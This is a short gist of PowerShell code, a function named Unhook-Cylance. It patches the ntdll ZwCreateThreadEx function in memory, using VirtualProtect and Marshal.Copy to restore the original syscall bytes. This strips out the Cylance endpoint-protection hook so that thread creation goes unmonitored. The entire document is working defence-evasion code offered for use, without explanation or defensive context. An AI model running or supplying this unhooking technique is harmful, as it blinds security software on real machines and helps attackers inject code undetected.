Cy

gistfile1.txt

function Unhook-Cylance() {
  
$winapi = @"
  using System.Runtime.InteropServices;
  using System;
  public class Win32 {
    [DllImport("msvcrt.dll", EntryPoint = "memcpy", CallingConvention = CallingConvention.Cdecl, SetLastError = false)]
    public static extern IntPtr memcpy(IntPtr dest, string src, uint count);
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
  }
"@
  
  Add-Type $winapi
  [IntPtr]$ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary("ntdll.dll"), "ZwCreateThreadEx")
  echo "[>] GetProcAddress ZwCreateThreadEx: $($ptr)"
  $b = 0
  $c = 0
  $vprotect = [Win32]::VirtualProtect($ptr, 10, 0x40, [Ref]$b)
  $buf = New-Object Byte[] 5
  $buf[0] = 0x4c; $buf[1] = 0x8b; $buf[2] = 0xd1; $buf[3] = 0xb8; $buf[4] = 0xBB
  echo "[+] Unhooked Cylance ZwCreateThreadEx"
  #[Win32]::memcpy($ptr, $buf, 5);
  [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 5)
  [Win32]::VirtualProtect($ptr, 8, $b, [Ref]$c)
    
}